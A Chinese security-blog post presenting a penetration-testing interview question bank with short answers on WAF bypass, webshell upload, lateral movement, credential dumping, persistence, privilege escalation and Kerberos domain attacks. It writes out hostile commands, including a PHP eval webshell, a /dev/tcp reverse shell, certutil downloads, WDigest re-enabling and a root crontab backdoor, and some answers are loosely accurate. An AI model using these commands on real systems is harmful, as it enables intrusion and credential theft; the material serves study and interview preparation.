网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
2025年渗透测试面试题总结-拷打题库34
Mysql一个@和两个@什么区别? 过滤limit后的逗号如何绕过? WAF绕过的手法你知道哪些? 文件上传绕过WAF思路? 拿到webshell不出网情况下怎么办? 对于不能直接上传而且只能通过命令行执行的shell,应该怎么办? shiro不出网怎么利用? 横向渗透命令执行手段 ? psexec和wmic或者其他的区别? 内网抓取密码的话会怎么抓? 操作系统什么版本之后抓不到密码?抓不到怎么办? 桌面有管理员会话,想要做会话劫持怎么做? 内网渗透思路? 当前机器上有一个密码本,但加密了,应该怎么办? Windows权限维持? Linux权限维持? 代理转发常用的工具有哪些? 目标机器ping不通外网,没有办法走网络层协议,如何搭建隧道? 正向Shell和反向Shell的区别是什么? windows提权的方法及思路? Linux提权的思路及方法有哪些? CMD命令行如何查询远程终端开放端口 内网:pth,ptt,ptk区别? shellcode免杀了解吗?有哪些方法? 域内攻击方法有了解过吗? 获取域控的方法有哪些? 黄金票据和白银票据说一下? 域信息收集思路? 如何快速定位域控,介绍三种方式? windows或linux被植入后门文件,讲一下你的排查流程?
1. MySQL中
@
和@@
的区别
- 单
@
:用户自定义变量,如SET @var = 1; SELECT @var;
,常用于存储临时数据。- 双
@@
:系统变量,如SELECT @@version;
,用于查看或修改全局配置(如@@max_connections
)。- SQL注入利用:
@
可存储中间结果,如SELECT @a:=password FROM users;
。@@
可泄露系统信息(版本、路径),辅助注入攻击。
2. 过滤
LIMIT
后逗号的绕过
- 子查询法:
LIMIT 1 OFFSET 1
替代LIMIT 1,1
。- JOIN绕过:
SELECT * FROM users JOIN (SELECT 1)a LIMIT 1
。- 数值运算:
LIMIT 1-0
或LIMIT (1)
(某些场景有效)。
3. WAF绕过手法
- 混淆技术:
- 大小写混合:
UnIoN SeLeCt
。- 注释分割:
UNION/**/SELECT
。- 编码绕过:
- URL编码:
%55nion
(U的URL编码)。- 双重编码/Unicode:
%2527
代替单引号。- 协议层绕过:
- 分块传输:利用Transfer-Encoding: chunked。
- 超长请求头:触发WAF处理超时。
4. 文件上传绕过WAF思路
- 扩展名绕过:
- 大小写:
.PhP
。- 双扩展名:
shell.php.jpg
。- 内容混淆:
- 添加图片头:
GIF89a<?php ... ?>
。- 利用
.htaccess
:AddType application/x-httpd-php .abc
。- 竞争条件:
- 快速上传并访问临时文件。
5. 不出网Webshell利用
- 内网探测:
- 使用系统命令扫描内网(
for /L %i in (1,1,255) do ping 192.168.1.%i
)。- 隧道搭建:
- HTTP隧道:
reGeorg
通过Web请求代理流量。- DNS隧道:
dnscat2
绕过网络限制。- 系统工具利用:
- 通过
certutil
下载文件:certutil -urlcache -split -f http://内网IP/file.exe
。
6. 命令行Shell的利用方法
- 写入文件:
echo ^<?php @eval($_POST[1]);?^> > web目录/shell.php
(Windows需转义)。- 编码执行:
- Base64编码:
echo "payload" | base64 -d | bash
。- 管道传递:
- 通过
|
或>
将命令结果写入文件。
7. Shiro不出网利用
- 本地反序列化:
- 结合
URLClassLoader
加载本地恶意类。- 文件写入:
- 利用
FileOutputStream
写Webshell到可访问目录。- 内存马注入:
- 通过反射修改Filter或Servlet逻辑注入恶意代码。
8. 横向渗透命令执行手段
- 远程执行工具:
psexec
:需管理员权限,通过SMB执行命令。wmic
:无文件落地,命令记录较少。- 计划任务:
schtasks /create /tn task /tr "cmd" /sc ONCE /sd 01/01/2025
。- 服务创建:
sc \\目标IP create service binPath= "cmd"
。
9. psexec与wmic区别
- 协议与权限:
psexec
依赖SMB协议,需管理员权限且可能被杀软拦截。wmic
使用DCOM协议,支持更多系统版本,隐蔽性更高。- 日志记录:
psexec
会生成服务日志,wmic
无显著日志。
10. 内网密码抓取方法
- Mimikatz:
sekurlsa::logonpasswords
抓取内存明文密码。- SAM文件提取:
- 通过
reg save HKLM\SAM sam.save
导出哈希。- LSASS转储:
- 使用Procdump导出
lsass.exe
内存分析。
11. 操作系统版本与密码抓取
- 版本限制:
- Windows 8.1/Server 2012后默认禁用WDigest,明文密码不可抓。
- 绕过方法:
- 启用WDigest:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
。- 抓取NTLM哈希进行PTH攻击。
12. 管理员会话劫持
- 工具利用:
tscon
:tscon 1 /dest:rdp-tcp#0
(需SYSTEM权限)。- 令牌窃取:
- 使用Incognito或Cobalt Strike窃取令牌。
- RDP会话注入:
- 通过
mstsc.exe /shadow
控制会话。
13. 内网渗透思路
- 信息收集:
- 网段扫描、域信息查询(
net group "Domain Controllers" /domain
)。- 横向移动:
- 利用凭据/漏洞跨系统扩散。
- 权限提升:
- 本地提权+域管理员权限获取。
- 持久化:
- 黄金票据、计划任务、影子账户。
14. 加密密码本破解
- 暴力破解:
- 使用John the Ripper或Hashcat尝试弱口令。
- 密钥搜索:
- 检查内存/磁盘中的密钥片段(如浏览器保存的密码)。
- 社会工程:
- 分析用户习惯生成字典(如生日+常见组合)。
15. Windows权限维持
- 启动项:
- 注册表
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
。- 计划任务:
schtasks /create /tn "Update" /tr "cmd" /sc minute /mo 1
。- 服务后门:
sc create Service binPath= "cmd /c start backdoor.exe"
。
16. Linux权限维持
- SSH后门:
- 修改
~/.ssh/authorized_keys
添加攻击者公钥。- Cron任务:
echo "* * * * * root /tmp/shell" >> /etc/crontab
。- SUID提权:
chmod +s /bin/bash
(需配合漏洞利用)。
17. 代理转发工具
- HTTP隧道:reGeorg、Neo-reGeorg。
- Socks代理:frp、EarthWorm。
- SSH隧道:
- 本地转发:
ssh -L 1080:目标IP:80 user@跳板机
。- 动态转发:
ssh -D 1080 user@跳板机
。
18. 无外网协议的隧道搭建
- DNS隧道:
- 使用dnscat2通过DNS查询传输数据。
- ICMP隧道:
- ptunnel或icmpsh通过Ping包通信。
- 串口/物理层:
- 通过USB设备或蓝牙传输(需物理接触)。
19. 正反向Shell区别
- 正向Shell:
- 攻击者主动连接目标(
nc -lvp 4444 -e /bin/bash
)。- 适用场景:目标出网受限。
- 反向Shell:
- 目标主动连接攻击者(
bash -i >& /dev/tcp/1.1.1.1/4444 0>&1
)。- 适用场景:绕过防火墙入站限制。
20. Windows提权方法
- 系统漏洞:
- 利用PrintNightmare(CVE-2021-1675)或Juicy Potato。
- 服务滥用:
- 弱权限服务路径劫持(
sc config Service binPath= "cmd"
)。- 令牌模拟:
- 使用Incognito模拟SYSTEM令牌。
21. Linux提权思路
- 内核漏洞:
- Dirty COW(CVE-2016-5195)或Dirty Pipe(CVE-2022-0847)。
- SUID滥用:
- 查找
find / -perm -4000 2>/dev/null
并利用(如/usr/bin/find
)。- Sudo配置错误:
sudo -l
查看可用命令,如允许无密码执行/usr/bin/vim
。
22. CMD查询远程端口开放
- netstat:
netstat -ano | findstr "ESTABLISHED"
。- telnet:
telnet 目标IP 端口
(若连接成功则端口开放)。- PowerShell:
Test-NetConnection 目标IP -Port 端口
。
23. PTH、PTT、PTK区别
- PTH(Pass the Hash):
- 使用NTLM哈希直接认证,工具:Mimikatz、CrackMapExec。
- PTT(Pass the Ticket):
- 利用Kerberos TGT/TGS票据,工具:Rubeus、Impacket。
- PTK(Pass the Key):
- 使用AES密钥替代密码,适用于Kerberos认证。
24. Shellcode免杀方法
- 编码混淆:
- XOR/AES加密Shellcode,运行时解密。
- API调用替换:
- 使用间接调用(如通过
GetProcAddress
动态获取函数地址)。- 内存加载:
- 反射式DLL注入或无文件落地(如PowerShell加载)。
25. 域内攻击方法
- 黄金票据:伪造TGT,需域控的KRBTGT哈希。
- DCSync攻击:模拟域控同步获取用户哈希。
- ACL滥用:修改域对象的ACL提升权限。
26. 获取域控的方法
- GPP漏洞:利用组策略首选项中的明文密码。
- Kerberoasting:暴力破解服务票据(SPN)。
- ZeroLogon:利用CVE-2020-1472重置域控密码。
27. 黄金票据与白银票据
- 黄金票据:
- 伪造TGT,允许访问任何服务,需KRBTGT哈希。
- 白银票据:
- 伪造特定服务的TGS,仅限特定服务(如CIFS)。
28. 域信息收集思路
- 基础命令:
net user /domain
、net group "Domain Admins" /domain
。- BloodHound:
- 可视化分析域关系,寻找攻击路径。
- LDAP查询:
- 使用
ldapsearch
获取详细域对象信息。
29. 快速定位域控的方法
- DNS查询:
nslookup -type=SRV _ldap._tcp.dc._msdcs. 域名
。- LDAP探测:连接389端口,解析返回信息。
- SPN扫描:查找
LDAP/域控名
的服务主体名称。
30. 后门文件排查流程
- 进程分析:
- 使用Process Explorer检查可疑进程。
- 启动项检查:
- Autoruns查看注册表、服务、计划任务。
- 文件监控:
- 对比系统文件哈希,查找异常修改。
- 日志审计:
- 分析安全日志中的异常登录/执行事件。